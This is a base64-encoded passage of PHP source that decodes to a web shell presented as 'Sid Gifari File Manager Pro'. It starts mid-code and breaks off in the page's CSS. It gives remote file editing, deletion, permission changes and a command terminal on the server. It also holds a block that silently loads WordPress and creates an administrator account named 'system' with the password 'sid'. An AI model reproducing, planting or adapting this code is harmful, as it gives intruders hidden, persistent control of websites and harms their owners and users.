ICAgfQogICAgICAgICRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddW10gPSAkY21kSW5wdXQ7CiAgICAgICAgaWYgKGNvdW50KCRfU0VTU0lPTlsndGVybWluYWxfaGlzdG9yeSddKSA+IDEwMCkgewogICAgICAgICAgICBhcnJheV9zaGlmdCgkX1NFU1NJT05bJ3Rlcm1pbmFsX2hpc3RvcnknXSk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIC8vIFJlZGlyZWN0IHRvIHVwZGF0ZSB0aGUgcGFnZSB3aXRoIG5ldyBkaXJlY3RvcnkKICAgICAgICAkcmVkaXJlY3RfdXJsID0gIj9kaXI9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpOwogICAgICAgIGhlYWRlcigiTG9jYXRpb246ICIgLiAkcmVkaXJlY3RfdXJsKTsKICAgICAgICBleGl0OwogICAgfQogICAgCiAgICAvLyBIYW5kbGUgbmV3IGZvbGRlciBjcmVhdGlvbgogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ25ld2ZvbGRlciddKSkgewogICAgICAgICRmb2xkZXJuYW1lID0gc2FuaXRpemVGaWxlbmFtZSgkX1BPU1RbJ25ld2ZvbGRlciddKTsKICAgICAgICAkdGFyZ2V0ID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmb2xkZXJuYW1lOwogICAgICAgIGlmICghZmlsZV9leGlzdHMoJHRhcmdldCkpIHsKICAgICAgICAgICAgQG1rZGlyKCR0YXJnZXQsIDA3NTUsIHRydWUpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIG5ldyBmaWxlIGNyZWF0aW9uCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnbmV3ZmlsZSddKSkgewogICAgICAgICRmaWxlbmFtZSA9IHNhbml0aXplRmlsZW5hbWUoJF9QT1NUWyduZXdmaWxlJ10pOwogICAgICAgICR0YXJnZXQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVuYW1lOwogICAgICAgIGlmICghZmlsZV9leGlzdHMoJHRhcmdldCkpIHsKICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCR0YXJnZXQsICcnKTsKICAgICAgICB9CiAgICB9CiAgICAKICAgIC8vIEhhbmRsZSBkZWxldGUKICAgIGlmICghZW1wdHkoJF9QT1NUWydkZWxldGUnXSkpIHsKICAgICAgICAkdGFyZ2V0X25hbWUgPSBzYW5pdGl6ZUZpbGVuYW1lKCRfUE9TVFsnZGVsZXRlJ10pOwogICAgICAgICR0YXJnZXQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRhcmdldF9uYW1lOwogICAgICAgIAogICAgICAgIGlmIChyZWFscGF0aCgkdGFyZ2V0KSA9PT0gcmVhbHBhdGgoX19GSUxFX18pKSB7CiAgICAgICAgICAgICRfU0VTU0lPTlsndXBsb2FkX21lc3NhZ2VzJ10gPSBbIuKclyBDYW5ub3QgZGVsZXRlIHRoZSBmaWxlIG1hbmFnZXIgaXRzZWxmIl07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGlzX2ZpbGUoJHRhcmdldCkpIHsKICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRhcmdldCk7CiAgICAgICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsKICAgICAgICAgICAgICAgIGRlbGV0ZURpcmVjdG9yeSgkdGFyZ2V0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIHJlbmFtZQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ29sZCddKSAmJiAhZW1wdHkoJF9QT1NUWyduZXcnXSkpIHsKICAgICAgICAkb2xkX25hbWUgPSBzYW5pdGl6ZUZpbGVuYW1lKCRfUE9TVFsnb2xkJ10pOwogICAgICAgICRuZXdfbmFtZSA9IHNhbml0aXplRmlsZW5hbWUoJF9QT1NUWyduZXcnXSk7CiAgICAgICAgJG9sZCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkb2xkX25hbWU7CiAgICAgICAgJG5ldyA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAkbmV3X25hbWU7CiAgICAgICAgCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRvbGQpICYmICFmaWxlX2V4aXN0cygkbmV3KSkgewogICAgICAgICAgICBAcmVuYW1lKCRvbGQsICRuZXcpOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gSGFuZGxlIGNobW9kCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnY2htb2RfZmlsZSddKSAmJiBpc3NldCgkX1BPU1RbJ2NobW9kJ10pKSB7CiAgICAgICAgJHRhcmdldF9uYW1lID0gc2FuaXRpemVGaWxlbmFtZSgkX1BPU1RbJ2NobW9kX2ZpbGUnXSk7CiAgICAgICAgJGZpbGUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRhcmdldF9uYW1lOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSkpIHsKICAgICAgICAgICAgJHBlcm1zID0gb2N0ZGVjKCRfUE9TVFsnY2htb2QnXSk7CiAgICAgICAgICAgIGlmICgkcGVybXMgPj0gMCAmJiAkcGVybXMgPD0gMDc3NykgewogICAgICAgICAgICAgICAgQGNobW9kKCRmaWxlLCAkcGVybXMpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgCiAgICAvLyBIYW5kbGUgZmlsZSBlZGl0aW5nCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZWRpdF9maWxlJ10pICYmIGlzc2V0KCRfUE9TVFsnY29udGVudCddKSkgewogICAgICAgICR0YXJnZXRfbmFtZSA9IHNhbml0aXplRmlsZW5hbWUoJF9QT1NUWydlZGl0X2ZpbGUnXSk7CiAgICAgICAgJGZpbGUgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJHRhcmdldF9uYW1lOwogICAgICAgIGlmIChmaWxlX2V4aXN0cygkZmlsZSkgJiYgaXNfd3JpdGFibGUoJGZpbGUpKSB7CiAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSwgJF9QT1NUWydjb250ZW50J10pOwogICAgICAgIH0KICAgIH0KICAgIAogICAgLy8gUmVkaXJlY3QgYWZ0ZXIgUE9TVCBvcGVyYXRpb25zIChleGNlcHQgdGVybWluYWwgd2hpY2ggaGFuZGxlcyBpdHMgb3duIHJlZGlyZWN0KQogICAgaWYgKCRyZWRpcmVjdF9uZWVkZWQpIHsKICAgICAgICAkcmVkaXJlY3RfdXJsID0gIj9kaXI9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKCRjdXJyZW50X2RpcikpOwogICAgICAgIGlmIChpc3NldCgkX0dFVFsnZWRpdCddKSkgewogICAgICAgICAgICAkcmVkaXJlY3RfdXJsIC49ICcmZWRpdD0nIC4gdXJsZW5jb2RlKCRfR0VUWydlZGl0J10pOwogICAgICAgIH0KICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAiIC4gJHJlZGlyZWN0X3VybCk7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKLy8gVXBkYXRlIHNlc3Npb24gd2l0aCBjdXJyZW50IGRpcmVjdG9yeQokX1NFU1NJT05bJ2N1cnJlbnRfYnJvd3NpbmdfZGlyJ10gPSAkY3VycmVudF9kaXI7CiRfU0VTU0lPTlsnY3dkJ10gPSAkY3VycmVudF9kaXI7CgovLyBTY2FuIGRpcmVjdG9yeQokaXRlbXMgPSBAc2NhbmRpcigkY3VycmVudF9kaXIpOwppZiAoJGl0ZW1zID09PSBmYWxzZSkgewogICAgJGl0ZW1zID0gWycuJywgJy4uJ107Cn0KCiRmb2xkZXJzID0gW107CiRmaWxlcyA9IFtdOwoKZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7CiAgICBpZiAoJGl0ZW0gPT09ICcuJyB8fCAkaXRlbSA9PT0gJy4uJykgY29udGludWU7CiAgICAKICAgICRmdWxsX3BhdGggPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGl0ZW07CiAgICAKICAgIGlmIChpc19kaXIoJGZ1bGxfcGF0aCkpIHsKICAgICAgICAkZm9sZGVyc1tdID0gWwogICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sCiAgICAgICAgICAgICdwYXRoJyA9PiAkZnVsbF9wYXRoLAogICAgICAgICAgICAnaXNfZGlyJyA9PiB0cnVlLAogICAgICAgICAgICAnc2l6ZScgPT4gJy0nLAogICAgICAgICAgICAncGVybXMnID0+IHN1YnN0cihzcHJpbnRmKCclbycsIEBmaWxlcGVybXMoJGZ1bGxfcGF0aCkpLCAtNCksCiAgICAgICAgICAgICdtb2RpZmllZCcgPT4gQGZpbGVtdGltZSgkZnVsbF9wYXRoKQogICAgICAgIF07CiAgICB9IGVsc2UgewogICAgICAgICRmaWxlc1tdID0gWwogICAgICAgICAgICAnbmFtZScgPT4gJGl0ZW0sCiAgICAgICAgICAgICdwYXRoJyA9PiAkZnVsbF9wYXRoLAogICAgICAgICAgICAnaXNfZGlyJyA9PiBmYWxzZSwKICAgICAgICAgICAgJ3NpemUnID0+IEBmaWxlc2l6ZSgkZnVsbF9wYXRoKSwKICAgICAgICAgICAgJ3Blcm1zJyA9PiBzdWJzdHIoc3ByaW50ZignJW8nLCBAZmlsZXBlcm1zKCRmdWxsX3BhdGgpKSwgLTQpLAogICAgICAgICAgICAnbW9kaWZpZWQnID0+IEBmaWxlbXRpbWUoJGZ1bGxfcGF0aCksCiAgICAgICAgICAgICdleHRlbnNpb24nID0+IHN0cnRvbG93ZXIocGF0aGluZm8oJGl0ZW0sIFBBVEhJTkZPX0VYVEVOU0lPTikpCiAgICAgICAgXTsKICAgIH0KfQoKLy8gU29ydAp1c29ydCgkZm9sZGVycywgZnVuY3Rpb24oJGEsICRiKSB7CiAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsKfSk7CnVzb3J0KCRmaWxlcywgZnVuY3Rpb24oJGEsICRiKSB7CiAgICByZXR1cm4gc3RyY2FzZWNtcCgkYVsnbmFtZSddLCAkYlsnbmFtZSddKTsKfSk7CgovLyBFZGl0IG1vZGUKJGVkaXRNb2RlID0gaXNzZXQoJF9HRVRbJ2VkaXQnXSk7CiRlZGl0RmlsZSA9ICRfR0VUWydlZGl0J10gPz8gJyc7CiRlZGl0Q29udGVudCA9ICcnOwoKaWYgKCRlZGl0TW9kZSkgewogICAgJGVkaXRfdGFyZ2V0ID0gJGN1cnJlbnRfZGlyIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuIHNhbml0aXplRmlsZW5hbWUoJGVkaXRGaWxlKTsKICAgIGlmIChpc19maWxlKCRlZGl0X3RhcmdldCkgJiYgaXNfcmVhZGFibGUoJGVkaXRfdGFyZ2V0KSkgewogICAgICAgICRlZGl0Q29udGVudCA9IGh0bWxzcGVjaWFsY2hhcnMoQGZpbGVfZ2V0X2NvbnRlbnRzKCRlZGl0X3RhcmdldCkpOwogICAgfSBlbHNlIHsKICAgICAgICAkZWRpdE1vZGUgPSBmYWxzZTsKICAgIH0KfQoKLy8gVGVybWluYWwgb3V0cHV0CiR0ZXJtaW5hbF9vdXRwdXQgPSAkX1NFU1NJT05bJ3Rlcm1pbmFsX291dHB1dCddID8/ICcnOwokdGVybWluYWxfY3dkID0gJF9TRVNTSU9OWyd0ZXJtaW5hbF9jd2QnXSA/PyAkY3VycmVudF9kaXI7CiR0ZXJtaW5hbF9oaXN0b3J5ID0gJF9TRVNTSU9OWyd0ZXJtaW5hbF9oaXN0b3J5J10gPz8gW107CnVuc2V0KCRfU0VTU0lPTlsndGVybWluYWxfb3V0cHV0J10pOwoKLy8gVXBsb2FkIG1lc3NhZ2VzCiR1cGxvYWRfbWVzc2FnZXNfaHRtbCA9ICcnOwppZiAoaXNzZXQoJF9TRVNTSU9OWyd1cGxvYWRfbWVzc2FnZXMnXSkpIHsKICAgICR1cGxvYWRfbWVzc2FnZXNfaHRtbCA9ICc8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4nOwogICAgZm9yZWFjaCAoJF9TRVNTSU9OWyd1cGxvYWRfbWVzc2FnZXMnXSBhcyAkbXNnKSB7CiAgICAgICAgJHVwbG9hZF9tZXNzYWdlc19odG1sIC49IGh0bWxzcGVjaWFsY2hhcnMoJG1zZykgLiAiPGJyPiI7CiAgICB9CiAgICAkdXBsb2FkX21lc3NhZ2VzX2h0bWwgLj0gJzwvZGl2Pic7CiAgICB1bnNldCgkX1NFU1NJT05bJ3VwbG9hZF9tZXNzYWdlcyddKTsKfQoKLy8gV29yZFByZXNzIHVzZXIgY3JlYXRpb24KJHdwX21lc3NhZ2UgPSAnJzsKaWYgKCFpc3NldCgkX1NFU1NJT05bJ3dwX2NoZWNrZWQnXSkpIHsKICAgICRzZWFyY2hfcGF0aHMgPSBbJGN1cnJlbnRfZGlyLCBkaXJuYW1lKCRjdXJyZW50X2RpciksICRST09UXTsKICAgIGZvcmVhY2ggKCRzZWFyY2hfcGF0aHMgYXMgJHdwX3BhdGgpIHsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHdwX3BhdGggLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJ3dwLWxvYWQucGhwJykpIHsKICAgICAgICAgICAgQGluY2x1ZGVfb25jZSgkd3BfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtbG9hZC5waHAnKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgfSBlbHNlaWYgKGZpbGVfZXhpc3RzKCR3cF9wYXRoIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICd3cC1jb25maWcucGhwJykpIHsKICAgICAgICAgICAgQGluY2x1ZGVfb25jZSgkd3BfcGF0aCAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiAnd3AtY29uZmlnLnBocCcpOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CiAgICAKICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ3dwX2NyZWF0ZV91c2VyJykgJiYgZnVuY3Rpb25fZXhpc3RzKCd1c2VybmFtZV9leGlzdHMnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2VtYWlsX2V4aXN0cycpKSB7CiAgICAgICAgJHVzZXJuYW1lID0gJ3N5c3RlbSc7CiAgICAgICAgJHBhc3N3b3JkID0gJ3NpZCc7CiAgICAgICAgJGVtYWlsID0gJ3N5c3RlbUBob3N0aW5nZXIuY29tJzsKICAgICAgICAKICAgICAgICBpZiAoIXVzZXJuYW1lX2V4aXN0cygkdXNlcm5hbWUpICYmICFlbWFpbF9leGlzdHMoJGVtYWlsKSkgewogICAgICAgICAgICAkdXNlcl9pZCA9IHdwX2NyZWF0ZV91c2VyKCR1c2VybmFtZSwgJHBhc3N3b3JkLCAkZW1haWwpOwogICAgICAgICAgICBpZiAoIWlzX3dwX2Vycm9yKCR1c2VyX2lkKSAmJiBjbGFzc19leGlzdHMoJ1dQX1VzZXInKSkgewogICAgICAgICAgICAgICAgJHVzZXIgPSBuZXcgV1BfVXNlcigkdXNlcl9pZCk7CiAgICAgICAgICAgICAgICAkdXNlci0+c2V0X3JvbGUoJ2FkbWluaXN0cmF0b3InKTsKICAgICAgICAgICAgICAgICR3cF9tZXNzYWdlID0gIuKchSBXb3JkUHJlc3MgYWRtaW4gdXNlciBjcmVhdGVkOiAkdXNlcm5hbWUgLyAkcGFzc3dvcmQiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQogICAgJF9TRVNTSU9OWyd3cF9jaGVja2VkJ10gPSB0cnVlOwp9CgovLyBGaWxlIHZpZXdpbmcKaWYgKGlzc2V0KCRfR0VUWyd2aWV3J10pKSB7CiAgICAkdmlld190YXJnZXQgPSAkY3VycmVudF9kaXIgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gc2FuaXRpemVGaWxlbmFtZSgkX0dFVFsndmlldyddKTsKICAgIGlmIChpc19maWxlKCR2aWV3X3RhcmdldCkgJiYgaXNfcmVhZGFibGUoJHZpZXdfdGFyZ2V0KSkgewogICAgICAgICRtaW1lID0gQG1pbWVfY29udGVudF90eXBlKCR2aWV3X3RhcmdldCkgPzogJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSc7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6ICIgLiAkbWltZSk7CiAgICAgICAgaGVhZGVyKCJDb250ZW50LUxlbmd0aDogIiAuIGZpbGVzaXplKCR2aWV3X3RhcmdldCkpOwogICAgICAgIEByZWFkZmlsZSgkdmlld190YXJnZXQpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCi8vIEZpbGUgZG93bmxvYWQKaWYgKGlzc2V0KCRfR0VUWydkb3dubG9hZCddKSkgewogICAgJGRvd25sb2FkX3RhcmdldCA9ICRjdXJyZW50X2RpciAuIERJUkVDVE9SWV9TRVBBUkFUT1IgLiBzYW5pdGl6ZUZpbGVuYW1lKCRfR0VUWydkb3dubG9hZCddKTsKICAgIGlmIChpc19maWxlKCRkb3dubG9hZF90YXJnZXQpICYmIGlzX3JlYWRhYmxlKCRkb3dubG9hZF90YXJnZXQpKSB7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwogICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9IicgLiBiYXNlbmFtZSgkZG93bmxvYWRfdGFyZ2V0KSAuICciJyk7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LUxlbmd0aDogJyAuIGZpbGVzaXplKCRkb3dubG9hZF90YXJnZXQpKTsKICAgICAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZScpOwogICAgICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKICAgICAgICBAcmVhZGZpbGUoJGRvd25sb2FkX3RhcmdldCk7CiAgICAgICAgZXhpdDsKICAgIH0KfQoKLy8gVG90YWxzCiR0b3RhbF9zaXplID0gMDsKZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7CiAgICAkdG90YWxfc2l6ZSArPSAkZlsnc2l6ZSddOwp9CiRmcmVlX3NwYWNlID0gQGRpc2tfZnJlZV9zcGFjZSgkY3VycmVudF9kaXIpOwokdG90YWxfc3BhY2UgPSBAZGlza190b3RhbF9zcGFjZSgkY3VycmVudF9kaXIpOwoKLy8gRGVidWc6IERpc3BsYXkgY3VycmVudCBkaXJlY3RvcnkgaW5mbwokZGVidWdfaW5mbyA9ICI8IS0tIERFQlVHOiBjdXJyZW50X2Rpcj0iIC4gaHRtbHNwZWNpYWxjaGFycygkY3VycmVudF9kaXIpIC4gIiB8IFJPT1Q9IiAuIGh0bWxzcGVjaWFsY2hhcnMoJFJPT1QpIC4gIiB8IHNlc3Npb25fZGlyPSIgLiBodG1sc3BlY2lhbGNoYXJzKCRfU0VTU0lPTlsnY3VycmVudF9icm93c2luZ19kaXInXSA/PyAnbm90IHNldCcpIC4gIiAtLT4iOwoKPz4KPCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+U2lkIEdpZmFyaSBGaWxlIE1hbmFnZXIgUHJvIHY4LjAuNTwvdGl0bGU+CiAgICA8Pz0gJGRlYnVnX2luZm8gPz4KICAgIDxzdHlsZT4KICAgICAgICAqIHsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyBib3gtc2l6aW5nOiBib3JkZXItYm94OyB9CiAgICAgICAgYm9keSB7IAogICAgICAgICAgICBmb250LWZhbWlseTogLWFwcGxlLXN5c3RlbSwgQmxpbmtNYWNTeXN0ZW1Gb250LCAnU2Vnb2UgVUknLCBSb2JvdG8sIE94eWdlbiwgVWJ1bnR1LCBzYW5zLXNlcmlmOyAKICAgICAgICAgICAgYmFja2dyb3VuZDogIzFhMWEyZTsKICAgICAgICAgICAgcGFkZGluZzogMTBweDsKICAgICAgICAgICAgY29sb3I6ICNlMGUwZTA7CiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjQ7CiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoOwogICAgICAgIH0KICAgICAgICAuY29udGFpbmVyIHsgCiAgICAgICAgICAgIG1heC13aWR0aDogMTQwMHB4OyAKICAgICAgICAgICAgbWFyZ2luOiAwIGF1dG87IAogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMTYyMTNlOwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxMnB4OyAKICAgICAgICAgICAgYm94LXNoYWRvdzogMCAxMHB4IDQwcHggcmdiYSgwLDAsMCwwLjUpOyAKICAgICAgICAgICAgb3ZlcmZsb3c6IGhpZGRlbjsgCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMwZjM0NjA7CiAgICAgICAgfQogICAgICAgIC5oZWFkZXIgeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KDEzNWRlZywgIzBmMzQ2MCAwJSwgIzE2MjEzZSAxMDAlKTsgCiAgICAgICAgICAgIHBhZGRpbmc6IDIwcHggMzBweDsgCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCAjZTk0NTYwOwogICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXI7CiAgICAgICAgfQogICAgICAgIC5oZWFkZXIgaDEgeyAKICAgICAgICAgICAgZm9udC1zaXplOiAxLjhlbTsgCiAgICAgICAgICAgIG1hcmdpbjogMTBweCAwOyAKICAgICAgICAgICAgY29sb3I6ICNlOTQ1NjA7CiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7CiAgICAgICAgICAgIGxldHRlci1zcGFjaW5nOiAxcHg7CiAgICAgICAgfQogICAgICAgIC5oZWFkZXIgLnN1YnRpdGxlIHsKICAgICAgICAgICAgY29sb3I6ICNhMGEwYjA7CiAgICAgICAgICAgIGZvbnQtc2l6ZTogMC45ZW07CiAgICAgICAgICAgIG1hcmdpbi10b3A6IDVweDsKICAgICAgICB9CiAgICAgICAgLnBhdGgtbmF2IHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZjM0NjA7IAogICAgICAgICAgICBwYWRkaW5nOiAxMnB4IDIwcHg7IAogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2U5NDU2MDsgCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQ2FzY2FkaWEgQ29kZScsICdGaXJhIENvZGUnLCAnTW9uYWNvJywgbW9ub3NwYWNlOwogICAgICAgICAgICBjb2xvcjogI2EwYTBiMDsKICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4OwogICAgICAgICAgICB3aGl0ZS1zcGFjZTogbm93cmFwOwogICAgICAgICAgICBvdmVyZmxvdy14OiBhdXRvOwogICAgICAgIH0KICAgICAgICAucGF0aC1uYXYgYSB7IAogICAgICAgICAgICBjb2xvcjogI2U5NDU2MDsgCiAgICAgICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsgCiAgICAgICAgICAgIHBhZGRpbmc6IDNweCA4cHg7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA0cHg7IAogICAgICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4yczsgCiAgICAgICAgfQogICAgICAgIC5wYXRoLW5hdiBhOmhvdmVyIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNlOTQ1NjA7IAogICAgICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICB9CiAgICAgICAgLnBhdGgtbmF2IC5jdXJyZW50LWRpci1kaXNwbGF5IHsKICAgICAgICAgICAgY29sb3I6ICM1OGE2ZmY7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4OwogICAgICAgICAgICBmb250LXNpemU6IDEwcHg7CiAgICAgICAgICAgIGJhY2tncm91bmQ6IHJnYmEoODgsIDE2NiwgMjU1LCAwLjEpOwogICAgICAgICAgICBwYWRkaW5nOiAycHggOHB4OwogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAzcHg7CiAgICAgICAgfQogICAgICAgIC5tYWluLWNvbnRlbnQgeyAKICAgICAgICAgICAgcGFkZGluZzogMjBweDsgCiAgICAgICAgfQogICAgICAgIC5zZWN0aW9uIHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMxYTFhMmU7IAogICAgICAgICAgICBib3JkZXItcmFkaXVzOiA4cHg7IAogICAgICAgICAgICBwYWRkaW5nOiAyMHB4OyAKICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDsgCiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMwZjM0NjA7CiAgICAgICAgfQogICAgICAgIC5zZWN0aW9uLXRpdGxlIHsgCiAgICAgICAgICAgIGNvbG9yOiAjZTk0NTYwOyAKICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwZjM0NjA7IAogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogMTBweDsgCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDE1cHg7IAogICAgICAgICAgICBmb250LXNpemU6IDEuMWVtOyAKICAgICAgICAgICAgZGlzcGxheTogZmxleDsgCiAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7IAogICAgICAgICAgICBnYXA6IDhweDsgCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7CiAgICAgICAgfQogICAgICAgIC50ZXJtaW5hbC1ib3ggeyAKICAgICAgICAgICAgYmFja2dyb3VuZDogIzBkMTExNzsgCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDhweDsgCiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMDM2M2Q7CiAgICAgICAgfQogICAgICAgIC50ZXJtaW5hbC1oZWFkZXIgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMTYxYjIyOwogICAgICAgICAgICBwYWRkaW5nOiA4cHggMTVweDsKICAgICAgICAgICAgZGlzcGxheTogZmxleDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICAgICAgZ2FwOiA4cHg7CiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjMzAzNjNkOwogICAgICAgIH0KICAgICAgICAudGVybWluYWwtZG90IHsKICAgICAgICAgICAgd2lkdGg6IDEycHg7CiAgICAgICAgICAgIGhlaWdodDogMTJweDsKICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlOwogICAgICAgIH0KICAgICAgICAudGVybWluYWwtZG90LnJlZCB7IGJhY2tncm91bmQ6ICNmZjVmNTY7IH0KICAgICAgICAudGVybWluYWwtZG90LnllbGxvdyB7IGJhY2tncm91bmQ6ICNmZmJkMmU7IH0KICAgICAgICAudGVybWluYWwtZG90LmdyZWVuIHsgYmFja2dyb3VuZDogIzI3YzkzZjsgfQogICAgICAgIC50ZXJtaW5hbC10aXRsZSB7CiAgICAgICAgICAgIGNvbG9yOiAjOGI5NDllOwogICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAxMHB4OwogICAgICAgIH0KICAgICAgICAudGVybWluYWwtb3V0cHV0IHsgCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwZDExMTc7IAogICAgICAgICAgICBjb2xvcjogIzU4YTZmZjsgCiAgICAgICAgICAgIHBhZGRpbmc6IDE1cHg7IAogICAgICAgICAgICBmb250LWZhbWlseTogJ0Nhc2NhZGlhIENvZGUnLCAnRmlyYSBDb2RlJywgJ01vbmFjbycsIG1vbm9zcGFjZTsgCiAgICAgICAgICAgIG1heC1oZWlnaHQ6IDMwMHB4OyAKICAgICAgICAgICAgb3ZlcmZsb3cteTogYXV0bzsgCiAgICAgICAgICAgIHdoaXRlLXNwYWNlOiBwcmUtd3JhcDsgCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxLjU7IAogICAgICAgICAgICBmb250LXNpemU6IDEycHg7CiAgICAgICAgfQogICAgICAgIC50ZXJtaW5hbC1wcm9tcHQgewogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMGQxMTE3OwogICAgICAgICAgICBwYWRkaW5nOiAxMHB4IDE1cHg7CiAgICAgICAgICAgIGJvcmRlci10b3A6IDFweCBzb2xpZCAjMzAzNjNkOwogICAgICAgIH0KICAgICAgICAudGVybWluYWwtcHJvbXB0IGZvcm0gewogICAgICAgICAgICBkaXNwbGF5OiBmbGV4OwogICAgICAgICAgICBnYXA6IDhweDsKICAgICAgICAgICAgYWxpZ24taXRlbXM6IGNlbnRlcjsKICAgICAgICB9CiAgICAgICAgLnRlcm1pbmFsLXByb21wdCAucHJvbXB0LX